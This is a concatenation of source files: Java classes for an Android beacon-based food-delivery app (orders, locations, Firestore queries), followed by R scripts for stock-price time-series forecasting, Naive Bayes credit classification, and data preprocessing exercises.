ClassCastException(activity.toString() + " must implement OrderConfirmationDialogListener"); } } } } <file_sep>package com.shrmn.is416.tumpang; import java.io.Serializable; public class Location implements Serializable { public String getLocationID() { return locationID; } public void setLocationID(String locationID) { this.locationID = locationID; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getBeaconMacAddress() { return beaconMacAddress; } public void setBeaconMacAddress(String beaconMacAddress) { this.beaconMacAddress = beaconMacAddress; } public void setMenu(Menu menu) { this.menu = menu; } private String locationID; private String name; private String address; private String beaconMacAddress; private Menu menu; public Location (String locationID, String name, String address, String beaconMacAddress, Menu menu){ this.locationID = locationID; this.name = name; this.address = address; this.beaconMacAddress = beaconMacAddress; this.menu = menu; } public Menu getMenu() { return menu; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Location location = (Location) o; return locationID != null ? locationID.equals(location.locationID) : location.locationID == null; } @Override public int hashCode() { return locationID != null ? locationID.hashCode() : 0; } @Override public String toString() { return "Location{" + "locationID='" + locationID + '\'' + ", name='" + name + '\'' + ", address='" + address + '\'' + ", beaconMacAdd=" + beaconMacAddress + // ", beaconIDMinor=" + beaconIDMinor + ", menu=" + menu + '}'; } } <file_sep>package com.shrmn.is416.tumpang; import android.app.Activity; import android.content.Context; import android.support.annotation.NonNull; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.BaseAdapter; import android.widget.GridView; import android.widget.LinearLayout; import android.widget.TextView; import java.util.ArrayList; import java.util.List; import static android.content.ContentValues.TAG; public class FulfilOrderItemAdapter extends ArrayAdapter<Order> { private Context context; private List<Order> fulfilOrderItems = new ArrayList<>(); public FulfilOrderItemAdapter(@NonNull Context context, int resource, @NonNull List<Order> objects) { super(context, resource, objects); this.fulfilOrderItems = objects; this.context = context; } @NonNull @Override public View getView(int position, View convertView, ViewGroup parent) { View listItem = convertView; if (listItem == null) { listItem = LayoutInflater.from(context).inflate(R.layout.fulfil_orderlist_layout, parent, false); } Order fulfilOrder_Orderdetail = fulfilOrderItems.get(position); TextView foodOutletName = (TextView) listItem.findViewById(R.id.fulfil_order_foodOutlet_Name); foodOutletName.setText(fulfilOrder_Orderdetail.getLocationName()); TextView meetup = (TextView) listItem.findViewById(R.id.fulfil_order_Meetup_location); meetup.setText("Meetup: " + fulfilOrder_Orderdetail.getDeliveryLocation()); String displayMsg = "Order Details:"; for(MenuItem item: fulfilOrder_Orderdetail.getMenuItems().keySet()){ displayMsg+=("\n- " + fulfilOrder_Orderdetail.getMenuItems().get(item)+ "x "+item.getName()); } TextView orderDetails = (TextView) listItem.findViewById(R.id.fulfil_order_details); orderDetails.setText(displayMsg); TextView orderTipAmount = (TextView) listItem.findViewById(R.id.fulfil_order_TipAmount); double tipAmount = fulfilOrder_Orderdetail.getTipAmount(); if (tipAmount == 0.50){ String fiftyCent = fulfilOrder_Orderdetail.getTipAmount() + "0"; fiftyCent = fiftyCent.substring(2); orderTipAmount.setText(fiftyCent+" ¢"); }else { orderTipAmount.setText("$ " + fulfilOrder_Orderdetail.getTipAmount()); } return listItem; } } <file_sep>package com.shrmn.is416.tumpang; import android.content.Intent; import android.os.CountDownTimer; import android.support.annotation.NonNull; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.AdapterView; import android.widget.ListView; import com.estimote.coresdk.common.requirements.SystemRequirementsChecker; import com.estimote.coresdk.observation.region.beacon.BeaconRegion; import com.estimote.coresdk.recognition.packets.Beacon; import com.estimote.coresdk.service.BeaconManager; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.Task; import com.google.firebase.firestore.DocumentSnapshot; import com.google.firebase.firestore.FirebaseFirestore; import com.google.firebase.firestore.QuerySnapshot; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.UUID; public class FulfilOrdersActivity extends AppCompatActivity { //LIST OF ORDERS BEFORE LOCATION FILTER - For now is static list private static List<Order> allUnassignedOrders; private static List<Order> allUnassignedOrdersInRange; public BeaconManager beaconManager; public BeaconRegion region; private static final String TAG = "FulfilOrderRequest"; private FulfilOrderItemAdapter adapter; private ListView fulfilled_OrderListView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_fulfil_orders); allUnassignedOrders = new ArrayList<>(); allUnassignedOrdersInRange = new ArrayList<>(); Log.d(TAG, "DOES IT REACH ONCREATE !!!!!!"); retrieveOrders(); // Initialize List View fulfilled_OrderListView = findViewById(R.id.fulfil_orders_listView); adapter = new FulfilOrderItemAdapter(this, 0, allUnassignedOrdersInRange); fulfilled_OrderListView.setAdapter(adapter); fulfilled_OrderListView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, final int position, long id) { // Pause refresh beaconManager.stopRanging(region); Order selectedOrder = allUnassignedOrdersInRange.get(position); // Go to Order Details activity Intent it = new Intent(FulfilOrdersActivity.this, OrderDetailsActivity.class); it.putExtra("selectedOrder", selectedOrder); startActivity(it); } }); beaconManager = new BeaconManager(getApplicationContext()); region = new BeaconRegion("ranged region", UUID.fromString("B9407F30-F5F8-466E-AFF9-25556B57FE6D"), null, null); // Every second will get called if there is beacons nearby. startDutyCyclingCd will pause it for 10 secs beaconManager.setRangingListener(new BeaconManager.BeaconRangingListener() { @Override public void onBeaconsDiscovered(BeaconRegion region, List<Beacon> list) { if (!list.isEmpty()) { Beacon nearestBeacon = list.get(0); // TODO: update the UI here Log.d("Nearest beacon", "Nearest places: " + nearestBeacon.toString()); Log.d("All beacons", list.toString()); // update list // Once detected, stop ranging, until 10 seconds later - adaptive duty cycling - only triggered when enter/exit events } refreshList(list); startDutyCyclingCd(); } }); // Send notification regarding number of new orders } private void refreshList(List<Beacon> beacons) { //CONNECT TO DB, pull list of unassigned and set here!! unassignedOrders = ??, Filter again retrieveOrders(); allUnassignedOrdersInRange.clear(); for (Order o : allUnassignedOrders) { for (Beacon beacon : beacons) { Log.e("BEACON DETECTED", beacon.getMacAddress().toString()); // Only show orders matching macadd if (beacon.getMacAddress().toString().equals("[" + MyApplication.locations.get(o.getLocationID()).getBeaconMacAddress() + "]")) { // Only show orders that are not created by me if (!o.getCustomerUserID().equals(MyApplication.user.getIdentifier())) { allUnassignedOrdersInRange.add(o); // Log.e("TEST", o.getCustomerUserID()+"||"+MyApplication.user.getIdentifier()); } } } } adapter.notifyDataSetChanged(); } @Override protected void onResume() { super.onResume(); SystemRequirementsChecker.checkWithDefaultDialogs(this); beaconManager.connect(new BeaconManager.ServiceReadyCallback() { @Override public void onServiceReady() { beaconManager.startRanging(region); } }); } @Override protected void onPause() { beaconManager.disconnect(); super.onPause(); } public void finishActivity(View view) { beaconManager.disconnect(); finish(); } public void startDutyCyclingCd() { beaconManager.stopRanging(region); new CountDownTimer(10000, 1000) { public void onTick(long millisUntilFinished) { } public void onFinish() { beaconManager.startRanging(region); } }.start(); } private void retrieveOrders() { MyApplication.db.collection("orders") .whereEqualTo("status", 0) .get() .addOnCompleteListener( new OnCompleteListener<QuerySnapshot>() { @Override public void onComplete(@NonNull Task<QuerySnapshot> task) { if (task.isSuccessful()) { allUnassignedOrders.clear(); // For each entry ie. order for (DocumentSnapshot document : task.getResult()) { String orderId = document.getId(); Map<String, Object> data = document.getData(); // ArrayList of HashMaps, 1 for each item. Key(item and qty) ArrayList<Object> dbOrderMenuItems = (ArrayList<Object>) data.get("menuItems"); String locID = data.get("locationID").toString().split("/")[2]; Location location = null; String locationName = ""; if (locID != null) { location = MyApplication.locations.get(locID); if (location != null) locationName = location.getName(); } // Menu Item includes more details of the menu like name. what is stored in DB is links HashMap<MenuItem, Integer> menuItems = new HashMap<>(); for (Object dbMenuItem : dbOrderMenuItems) { long qty = ((Map<String, Long>) dbMenuItem).get("qty"); // Change item string reference (menuItem.get("item")) to locations table into a menu item object, and put in menuitems hashmap String[] references = ((Map<String, String>) dbMenuItem).get("item").split("/"); String tmp[] = references[2].split("\\[|\\]"); if (location != null) { menuItems.put(location.getMenu().getItems().get(Integer.parseInt(tmp[1])), (int) qty); } } // Actually this will never happen, since if filter order = unassigned, est time delivery WILL be null if (data.get("estimatedTimeOfDelivery") != null && data.get("deliveryManUserID") == null) { allUnassignedOrders.add( new Order( orderId, locID, locationName, location, Double.parseDouble(data.get("tipAmount").toString()), Long.parseLong(data.get("estimatedTimeOfDelivery").toString()), data.get("deliveryManUserID").toString(), data.get("customerUserID").toString(), menuItems, data.get("deliveryLocation").toString(), Integer.parseInt(data.get("status").toString()) ) ); } else { allUnassignedOrders.add( new Order( orderId, locID, locationName, location, Double.parseDouble(data.get("tipAmount").toString()), 0, "", data.get("customerUserID").toString(), menuItems, data.get("deliveryLocation").toString(), Integer.parseInt(data.get("status").toString()) ) ); } } } else { Log.d(TAG, "Error getting documents: ", task.getException()); } } } ); } public void goToFulfilAcceptedOrders(View view) { Intent fulfilAcceptedOrders = new Intent(this, FulfilAcceptedOrdersActivity.class); startActivity(fulfilAcceptedOrders); } } <file_sep>package com.shrmn.is416.tumpang; import java.io.Serializable; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; public class Order implements Serializable { private static final String TAG = "OrderClass"; private String orderID; private String locationID; private String locationName; private Location location; // How much commission earned can be calculated on app, then no need store, if its just a percentage of menuPrice private double tipAmount; private long estimatedTimeOfDelivery; private String deliveryManUserID; private String customerUserID; private HashMap<MenuItem, Integer> menuItems; private List<MenuItem> pendingMenuItems; // String or lat long?? must convert if Lat long private String deliveryLocation; // 0-“unassigned”, 1-“deliveryInProcess”, 2-“completed” private int status = 0; public Order(String orderID, String locationID, String locationName, Location location, double tipAmount, long estimatedTimeOfDelivery, String deliveryManUserID, String customerUserID, HashMap<MenuItem, Integer> menuItems, String deliveryLocation, int status) { this.orderID = orderID; this.locationID = locationID; this.locationName = locationName; this.location = location; this.tipAmount = tipAmount; this.estimatedTimeOfDelivery = estimatedTimeOfDelivery; this.deliveryManUserID = deliveryManUserID; this.customerUserID = customerUserID; this.menuItems = menuItems; this.deliveryLocation = deliveryLocation; this.status = status; } public Order(Location location, String locationID, String locationName, double tipAmount, String deliveryLocation) { this.location = location; this.locationID = locationID; this.locationName = locationName; this.tipAmount = tipAmount; this.deliveryLocation = deliveryLocation; this.menuItems = new HashMap<>(); this.customerUserID = MyApplication.uniqueID; } public Location getLocation() { return location; } public void setLocation(Location location) { this.location = location; } public String getOrderID() { return orderID; } public void setOrderID(String orderID) { this.orderID = orderID; } public String getLocationID() { return locationID; } public void setLocationID(String locationID) { this.locationID = locationID; } public String getLocationName() { return locationName; } public void setLocationName(String locationName) { this.locationName = locationName; } public double getTipAmount() { return tipAmount; } public void setTipAmount(double tipAmount) { this.tipAmount = tipAmount; } public long getEstimatedTimeOfDelivery() { return estimatedTimeOfDelivery; } public void setEstimatedTimeOfDelivery(long estimatedTimeOfDelivery) { this.estimatedTimeOfDelivery = estimatedTimeOfDelivery; } public String getDeliveryManUserID() { return deliveryManUserID; } public void setDeliveryManUserID(String deliveryManUserID) { this.deliveryManUserID = deliveryManUserID; } public String getCustomerUserID() { return customerUserID; } public void setCustomerUserID(String customerUserID) { this.customerUserID = customerUserID; } public void setMenuItems(HashMap<MenuItem, Integer> menuItems) { this.menuItems = menuItems; } public String getDeliveryLocation() { return deliveryLocation; } public void setDeliveryLocation(String deliveryLocation) { this.deliveryLocation = deliveryLocation; } public int getStatus() { return status; } public void setStatus(int status) { this.status = status; } public void addMenuItem(MenuItem menuItem, int quantity) { menuItems.put(menuItem, quantity); } public void removeMenuItem(MenuItem menuItem) { menuItems.remove(menuItem); } @Override public String toString() { return "Order{" + "orderID='" + orderID + '\'' + ", locationID='" + locationID + '\'' + ", locationName='" + locationName + '\'' + ", tipAmount=" + tipAmount + ", customerUserID='" + customerUserID + '\'' + ", menuItems=" + menuItems + ", deliveryLocation='" + deliveryLocation + '\'' + '}'; } public Map<String, Object> composeOrder() { Map<String, Object> map = new HashMap<>(); map.put("customerUserID", customerUserID); map.put("deliveryLocation", deliveryLocation); map.put("locationID", "/locations/" + locationID); ArrayList<HashMap<String, Object>> items = new ArrayList<>(); for(MenuItem item : menuItems.keySet()) { HashMap<String, Object> obj = new HashMap<>(); obj.put("item", item.getPath()); obj.put("qty", menuItems.get(item)); items.add(obj); // Log.d(TAG, "composeOrder: Adding item " + menuItems.get(item) + " of " + item.getPath()); } map.put("menuItems", items); map.put("status", 0); map.put("tipAmount", tipAmount); return map; } public List<MenuItem> getPendingMenuItems() { return pendingMenuItems; } public void setPendingMenuItems(List<MenuItem> pendingMenuItems) { this.pendingMenuItems = pendingMenuItems; } public HashMap<MenuItem,Integer> getMenuItems() { return menuItems; } public int getTotalQuantity() { int total = 0; for(int qty : menuItems.values()) total += qty; return total; } public double getBill() { double totalAmount = 0; for(MenuItem menuItem : menuItems.keySet()) { totalAmount += menuItem.getUnitPrice() * menuItems.get(menuItem); } return totalAmount; } public double getTotalOrderBill() { return tipAmount + getBill(); } } <file_sep>package com.shrmn.is416.tumpang; import android.content.Intent; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.text.InputFilter; import android.util.Log; import android.view.View; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.EditText; import android.widget.Spinner; import android.widget.TextView; import java.util.ArrayList; public class AddItemActivity extends AppCompatActivity { private EditText quantityEditText; private Spinner dynamicSpinner; private ArrayAdapter<String> adapter; private ArrayList<String> itemNames; private Menu menu; private Location location; private MenuItem selectedMenuItem; private static final String TAG = "AddItem"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_add_item); quantityEditText = findViewById(R.id.quantity_et); quantityEditText.setFilters(new InputFilter[]{new MinMaxFilter("1", "20")}); dynamicSpinner = findViewById(R.id.item_name); // Set a default order ID value for location = MyApplication.pendingOrder.getLocation(); menu = location.getMenu(); Log.d(TAG, "onCreate: " + location.getMenu().getItems()); itemNames = new ArrayList<>(); for (MenuItem item : menu.getItems()) { itemNames.add(item.getName()); } setAdapterContents(); } private void setAdapterContents() { adapter = new ArrayAdapter<>(this, android.R.layout.simple_spinner_item, itemNames); dynamicSpinner.setAdapter(adapter); dynamicSpinner.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { @Override public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { TextView label = findViewById(R.id.unit_price_value); selectedMenuItem = menu.getItems().get(position); label.setText("$ " + selectedMenuItem.getUnitPrice()); } @Override public void onNothingSelected(AdapterView<?> parent) { // TODO Auto-generated method stub } }); } public void back(View view) { setResult(RESULT_CANCELED); finish(); } public void addItem(View view) { Log.d(TAG, "addItem: Called."); Intent output = getIntent(); try { MyApplication.pendingOrder.addMenuItem(selectedMenuItem, Integer.parseInt(quantityEditText.getText().toString())); } catch (NumberFormatException ex) { // handle your exception back(view); } setResult(RESULT_OK, output); finish(); } @Override public boolean onSupportNavigateUp() { onBackPressed(); return true; } } <file_sep>package com.shrmn.is416.tumpang; import java.io.Serializable; /** * Created by man on 19/3/18. */ class Food extends MenuItem implements Serializable { private String name; private double unitPrice; private int quantity; public Food(String path, String name, double unitPrice) { super(path); this.name = name; this.unitPrice = unitPrice; } public String getName() { return name; } public void setName(String name) { this.name = name; } public double getUnitPrice() { return unitPrice; } public void setUnitPrice(double unitPrice) { this.unitPrice = unitPrice; } @Override public int getQuantity() { return this.quantity; } @Override public void setQuantity(int quantity) { this.quantity = quantity; } @Override public String toString() { return "Food{" + "name='" + name + '\'' + ", unitPrice=" + unitPrice + ", path=" + super.getPath() + '}'; } }
e1a1acf7e983de9a5b6931530c7ce76c6df9401e
[ "Java" ]
11
Java
yuxuantan/TungPang
70cefc91728a2c8482e7a27e0b6cff9cec21f39d
e2c708c89e5f689e08ea954b467c513a655f3d38
refs/heads/master
<file_sep>rm(list=ls(all=TRUE)) #scrape YAHOO for google stock price #install.packages("quantmod") library(quantmod) start <- as.Date("2017-01-01") end <- as.Date("2017-11-01") getSymbols("GOOGL", src = "yahoo", from = start, to = end) #this also works fine #data <- GOOGL["2017-01-01/2017-11-01"] #for extracting dates use index function(library:zoo) dates <- as.data.frame(index(GOOGL)) names(dates) <- c('dates') #write dates as csv file write.csv(dates,'dates.csv',row.names = F) #extracting GOOGL.Close price from OHLC stock <- as.xts(data.frame(GOOGL = GOOGL[,"GOOGL.Close"])) #change the name of the column names(stock) <- c('close') #write stock prices as csv file write.csv(stock,'stock.csv',row.names = F) #cbind dates and stock prices data <- cbind.data.frame(dates,stock) #write the cbind'ed' data variable into a merged file write.csv(data,'final.csv',row.names = F) #read final.csv in another variable data2 <- read.csv('final.csv',header=T) str(data2) #converting data2$dates to dates from factors data2$dates <- as.Date(data2$dates,format="%Y-%m-%d") # generating sequence of dates from 01/01/2017 to 01/11/2017 # seq <- data.frame("date_range"=seq(start,end,by="days")) data2$week <- as.numeric(format(data2$dates, format="%Y.%W")) # #merge data2 with seq to see the missing values for the dates. # #all.x <- left join # #all.y <- right join # I'm working on this part though for the time being I extracted the # data manually and performing time series. data2$Week <- as.numeric(format(data2$dates, format="%Y.%W")) write.csv(data2,'finaldata.csv',row.names = F) data2 <- read.csv('finaldata.csv',header = TRUE) #dividing data as tain and test train <- data2[which(data2$week <= 2017.43),] test <- data2[which(data2$week > 2017.43),] #prepare data2 for time series by applying ts keeping frequency as 0.84/7/52 price <- ts(train$close , frequency = 52) #plot price plot(price,type="l",lwd=3,col="blue",xlab="day",ylab="price", main="Time series plot") #trend can be seen(increasing graph) #decomposition of the above plot in trend, seasonality and randomness pricedecomp <- decompose(price) plot(pricedecomp) #smoothing fitsma <- SMA(price,n=7) length(fitsma) #plot simple, weighted and exponential moving averages par(mfrow=c(2,2)) plot(train$close, type="l", col="black") plot(SMA(price,n=7), type="l", col="red") plot(WMA(price,n=7), type="l", col="blue") plot(EMA(price,n=7), type="l", col="brown") #compiled into one graph par(mfrow=c(1,1)) plot(train$close, type="l", col="black") lines(SMA(price,n=5), col="red") lines(WMA(price,n=5), col="blue") lines(EMA(price,n=5), col="brown") #building Holt Winter's model #with trend 'Beta' as positive hw_forecast <- HoltWinters(price, beta=TRUE, gamma=FALSE) head(hw_forecast$fitted) #with both trend and seasonality 'beta' and 'gamma' as positive hw_forecast2 <- HoltWinters(price, beta=TRUE, gamma=TRUE, seasonal="additive") #for forecasting library("forecast") hw_price_forecasts = forecast(hw_forecast2,h=2) test_preds <- data.frame(hw_price_forecasts)$Point.Forecast test_actuals <- test$close DMwR::regr.eval(test_actuals,test_preds) ----------------------------------------#----------------------------------------------- #ARIMA models par(mfrow=(c(1,2))) pacf(price) acf(price) ndiffs(price) #choose d from here; OR check manually plot(pacf(diff(price),1, lag.max = 30))#choose p from here plot(acf(diff(price),1)) #choose q from here ## model1 <- Arima(price,c(1,1,0)) model1 pred_train = fitted(model1) pred_test <- data.frame(forecast(model1,h=2))$Point.Forecast #why test$close is numeric(0) ?? DMwR::regr.eval(train$close, pred_train ) DMwR::regr.eval(test$close, pred_test ) ## model2 <- Arima(price,c(0,1,0)) model2 pred_train = fitted(model2) pred_test <- data.frame(forecast(model2,h=2))$Point.Forecast DMwR::regr.eval(train$close, pred_train ) DMwR::regr.eval(test$close, pred_test ) ## model3 <- Arima(price,c(1,1,1)) model3 pred_train = fitted(model3) pred_test <- data.frame(forecast(model3,h=2))$Point.Forecast DMwR::regr.eval(train$close, pred_train ) DMwR::regr.eval(test$close, pred_test ) par(mfrow=c(1,3)) plot(model1$residuals,ylim=c(-50,50)) plot(model2$residuals,ylim=c(-50,50)) plot(model3$residuals,ylim=c(-50,50)) #Plot forecasts par(mfrow=c(1,1)) plot(forecast(model3,h=4)) # Later on will try # ###Auto-ARIMA # library("forecast") # ARIMA_auto <- auto.arima(price, ic='aic') # summary(ARIMA_auto) # pred_train <- fitted(ARIMA_auto) # pred_train # pred_test <- forecast(ARIMA_auto, h=13) # pred_test # DMwR::regr.eval(train$close, pred_train ) # DMwR::regr.eval(test$close, pred_test ) <file_sep>rm(list = ls(all=TRUE)) setwd("D:/Insofe/Day12/") #load data data <- read.csv("GOOGL.csv") #edit(data) data <- data[,c(1,5)] #aggredata the data data$Date <- as.Date(data$Date, "%m/%d/%Y") str(data) minDate <- min(data$Date) maxDate <-max(data$Date) #dates are not sequential - create a sequence of dates from min date and max dates, find the missing date seq <- data.frame("dateRange" =seq(minDate, maxDate, by ="days")) head(seq) #do left join on seq(master date list) and data data =merge(seq,data, by.x = "dateRange", by.y = "Date", all.x=T) head(data) # Use the above code to replace the missing values in the Price variable data$Close=(na.locf(data$Close) + rev(na.locf(rev(data$Close))))/2 head(data) format(data$dateRange, format="%Y.%W") data$WEEK <- as.numeric(format(data$dateRange, format="%Y.%W")) head(data) # Now aggregating to weekly data data <- data head(data) library(sqldf) data_weekly <- sqldf("select WEEK as WEEK, max(Close) as Max_Value from data group by WEEK") # Let us verify this before we move on. head(data) str(data) #Dividing data as Train & Test #Dividing data as Train & Test Train=data_weekly[which(data_weekly$WEEK<=2017.40),] Test=data_weekly[which(data_weekly$WEEK>2017.40),] #build timeseries model Price <- ts(Train$Max_Value, deltat =1.181) deltat(Price) frequency(Price) plot(Price, type= "l", lwd=3, col="blue", xlab= "week", ylab="Price", main = "Time series") #decompose pricedecomp <- decompose(Price) plot(pricedecomp) # par mfrow is to show 2 graphs side by side. #You could change it to say c(2,4) to see 4 graphs in 2 rows. C(1,3) to see the 3 graphs in a single row. par(mfrow=c(1,2)) acf(Price,lag=30) pacf(Price,lag=30) #Price1 <- ts(Train$MIN_PRICE, frequency =1) par(mfrow=c(1,2)) acf(Price,lag=30) pacf(Price,lag=30) par(mfrow=c(1,2)) plot(diff(Price,lag=1),type="l") plot(diff(Price,lag=2),type="l") ### Smoothing models # The library TTR stands for Technical trading rules. l library(TTR) fitsma <- SMA(Price,n=2) length(fitsma) length(Price) plot(Price,type="l",lwd=3,col="blue",xlab="week",ylab="Price", main="Time series plot") fitsma <- SMA(Price,n=5) length(fitsma) par(mfrow=c(2,2)) plot(Train$Max_Value, type="l", col="black") plot(SMA(Price,n=5), type="l", col="red") plot(WMA(Price,n=5), type="l", col="blue") plot(EMA(Price,n=5), type="l", col="brown") par(mfrow=c(1,1)) plot(SMA(Price,n=5), type="l", col="red") plot(WMA(Price,n=5), type="l", col="blue") plot(EMA(Price,n=5), type="l", col="brown") #Building the Holt winter's model taking only Trend component. holtpriceforecast <- HoltWinters(Price, beta=TRUE, gamma=FALSE) #beta = trend, #GAMMA Seasonality # Look the fitted or forecasted values head(holtpriceforecast$fitted) priceholtforecast <- HoltWinters(Price, beta=TRUE, gamma=FALSE, seasonal="additive") # Look the fitted or forecasted values . Did you notice the head(priceholtforecast$fitted) library(forecast) # Getting the predictions on Training data & Checking model holtforecastTrain <- data.frame(priceholtforecast$fitted) holtforecastTrainpredictions <- holtforecastTrain$xhat head(holtforecastTrainpredictions) # To get the predictions on Test Data, you can use function "forecast.Holt". "h" indicates the number of future weeks (or whatever be your reference time period, say months, quarters, etc.,) for which you want to get the predictions #forecast.HoltWinters(priceholtforecast, h=1) priceforecast <- forecast(priceholtforecast, h=4) #get predicted values test_preds <- data.frame(priceforecast)$Point.Forecast data.frame(priceforecast)$Point.Forecast test_preds test_actuals <- Test$Max_Value Test$Max_Value Test test_actuals test_preds DMwR::regr.eval(test_actuals, test_preds) # Automated functions are available PriceAutoArima <- auto.arima(Price,ic='aic') PriceAutoArima PriceforecastsAutoArima <- forecast(PriceAutoArima, h=4) plot(PriceforecastsAutoArima) PriceforecastsAutoArima test_preds <- data.frame(PriceforecastsAutoArima)$Point.Forecast data.frame(PriceforecastsAutoArima)$Point.Forecast test_preds test_actuals <- Test$Max_Value Test$Max_Value Test test_actuals test_preds DMwR::regr.eval(test_actuals, test_preds) <file_sep>rm(list=ls(all=TRUE)) #read the data data1 <- read.csv('ProductA.csv',header = T) data2 <- read.csv('ProductB.csv',header = T) #adding column for classification #note if you are giving 'A' and 'B' as product categories in #place of 1 and 2 you might have NULL values as a whole column in #Tableau. #choose the values with cross checking in Tableau. data1$type <- rep(1, nrow(data1)) data2$type <- rep(2, nrow(data2)) #row bind the two data frames data <- rbind.data.frame(data1,data2) #convert to factors data$type <- as.factor(data$type) data$Target <- as.factor(data$Target) str(data) #writing the file write.csv(data,file = 'blend.csv',row.names = FALSE) #with the help of range, see if any visualisation can be created summary(data) <file_sep>rm(list=ls()) data <- read.csv('germandata.csv') str(data) summary(data) #EDA sapply(data, function(x) sum(is.na(x))) #giving column heading colnames(data) <- c('status_of_existing_checking_account','duration_in_month','credit_history', 'purpose','credit_amount','saving_account_bonds','present_installment_since', 'install_rate_in_percent', 'personal_status_sex','debtors_guarantors','present_residence_since', 'property','age','other_install','housing','existing_credits','job', 'no_of_people_liable','telephone','foreign_worker','target') names(data) head(data) str(data) # Now let us build Naive Bayes logistic regression model # Sample the rows rows=seq(1,nrow(data),1) set.seed(123) trainRows=sample(rows,round(nrow(data)*0.6)) data_train = data[trainRows,] data_test = data[-trainRows,] # Build a model library(e1071) model = naiveBayes(target ~ ., data = data_train) model pred = predict(model, data_train) table(pred, data_train$target) pred = predict(model, data_test) table(pred, data_test$target) <file_sep>install.packages("quantmod") library(quantmod) start <- as.Date("2017-01-01") end <- as.Date("2017-11-01") getSymbols("GOOGL", src = "yahoo", from = start, to = end) dim(GOOGL) head(GOOGL) names(GOOGL) str(GOOGL) tail(GOOGL) #for extracting dates use index function dates <- as.data.frame(index(GOOGL)) names(dates) <- c('dates') #extracting GOOGL.Close price from OHLC stock <- GOOGL$GOOGL.Close #change the name of the column names(stock) <- c('Price') #cbind dates and stock prices data <- cbind.data.frame(dates,stock) #write data as csv file write.csv(data,'data.csv',row.names = F) #read data.csv data2 <- read.csv('data.csv',header=T) # data2$dates=as.Date(data2$dates,format="%Y-%m-%d") # # # To find the minimum of the dates # minDate=min(as.Date(data2$date,format="%Y-%m-%d")) # # To find the maximum of the dates # maxDate =max(as.Date(data2$date,format="%Y-%m-%d")) # # generating the series of dates # seq <- data.frame("dateRange"=seq(minDate,maxDate,by="days")) data2$Week <- as.numeric(format(data2$dates, format="%Y.%W")) # Now aggregating to weekly data library(sqldf) data_weekly <- sqldf("select Week as Week,min(Price) as Price from data2 group by Week") #Dividing data as Train & Test Train=data_weekly[which(data_weekly$Week<=2017.43),] Test=data_weekly[which(data_weekly$Week>2017.43),] Price <- ts(Train$Price, frequency =12)#as we have 44 observation, thus taking 12 as frequency plot(Price) pricedecomp <- decompose(Price) plot(pricedecomp) ###Holt winter's model taking both Trend component and Seasonality (additive) hw_price_gamma <- HoltWinters(Price, beta=TRUE, gamma=TRUE, seasonal="additive") library("forecast") hw_price_forecast = forecast(hw_price_gamma, h=1) test_pred = data.frame(hw_price_forecast)$Point.Forecast test_actuals = Test$Price DMwR::regr.eval(test_actuals,test_pred) # #Building the Holt winter's model taking only Trend component. hw_forecast <- HoltWinters(Price, beta=TRUE, gamma=FALSE) test_pred1 = data.frame(hw_price_forecast)$Point.Forecast test_actuals1 = Test$Price DMwR::regr.eval(test_actuals1,test_pred1) #### ARIMA models plot(Price) library("forecast") par(mfrow=(c(1,2))) pacf(Price) acf(Price) ndiffs(Price) #choose d from here; OR check manually plot(pacf(diff(Price),1, lag.max = 30))#choose p from here plot(acf(diff(Price),1)) ## model1 <- Arima(Price,c(0,1,0)) model1 pred_train = fitted(model1) pred_validation <- data.frame(forecast(model1,h=1))$Point.Forecast DMwR::regr.eval(Train$Price, pred_train ) DMwR::regr.eval(Test$Price, pred_validation ) ## model2 <- Arima(Price,c(1,1,0)) model2 pred_train2 = fitted(model2) pred_validation2 <- data.frame(forecast(model2,h=1))$Point.Forecast DMwR::regr.eval(Train$Price, pred_train2 ) DMwR::regr.eval(Test$Price, pred_validation2 ) ## model3 <- Arima(Price,c(1,1,1)) model3 pred_train3 = fitted(model3) pred_validation3 <- data.frame(forecast(model3,h=1))$Point.Forecast DMwR::regr.eval(Train$Price, pred_train3 ) DMwR::regr.eval(Test$Price, pred_validation3 ) ###Auto-ARIMA library("forecast") ARIMA_auto <- auto.arima(Price, ic='aic') summary(ARIMA_auto) pred_train = fitted(ARIMA_auto) pred_train pred_test = forecast(ARIMA_auto, h=1) pred_test DMwR::regr.eval(Train$Price, pred_train ) DMwR::regr.eval(Test$Price, pred_validation ) <file_sep>rm(list = ls()) #Read the data data <- read.csv('BackOrders.csv',header = TRUE) #Explorative Data Analysis(EDA) summary(data) str(data) sapply(data, function(x) sum(is.na(x))) nrow(data) #Segregation of NA rows into variable which we will be predicting #with the help of linear regression rows_with_na_values_in_lead_time <- data[which(is.na(data$lead_time)),] #Omitted the NA rows data <- na.omit(data) #split the data rows=seq(1,nrow(data),1) set.seed(123) trainRows=sample(rows,(70*nrow(data))/100) train = data[trainRows,] test = data[-trainRows,] #take the target variable both from train and test dataset. train_target_field <- train$lead_time test_target_field <- test$lead_time #Null the target variable in the dataset both(train/test) train$lead_time <- NULL test$lead_time <- NULL #converting some numeric variables as factors train$sku <- as.factor(train$sku) test$sku <- as.factor(test$sku) #seperate the categorical and numerical in train set train_cat <- train[,sapply(train,is.factor)] train_num <- train[,sapply(train,is.numeric)] #seperate the categorical and numerical in test set test_cat <- test[,sapply(test, is.factor)] test_num <- test[,sapply(test,is.numeric)] #separating SKU(train/test) from train_cat and test_cat train_sku <- train_cat$sku test_sku <- test_cat$sku #equating SKU(train/test) to NULL in train_cat and test_cat train_cat$sku <- NULL test_cat$sku <- NULL #Just making sure that I did everything right till now head(train_cat) head(test_cat) #Now dummying the train_cat data as every factor has only 2 levels. 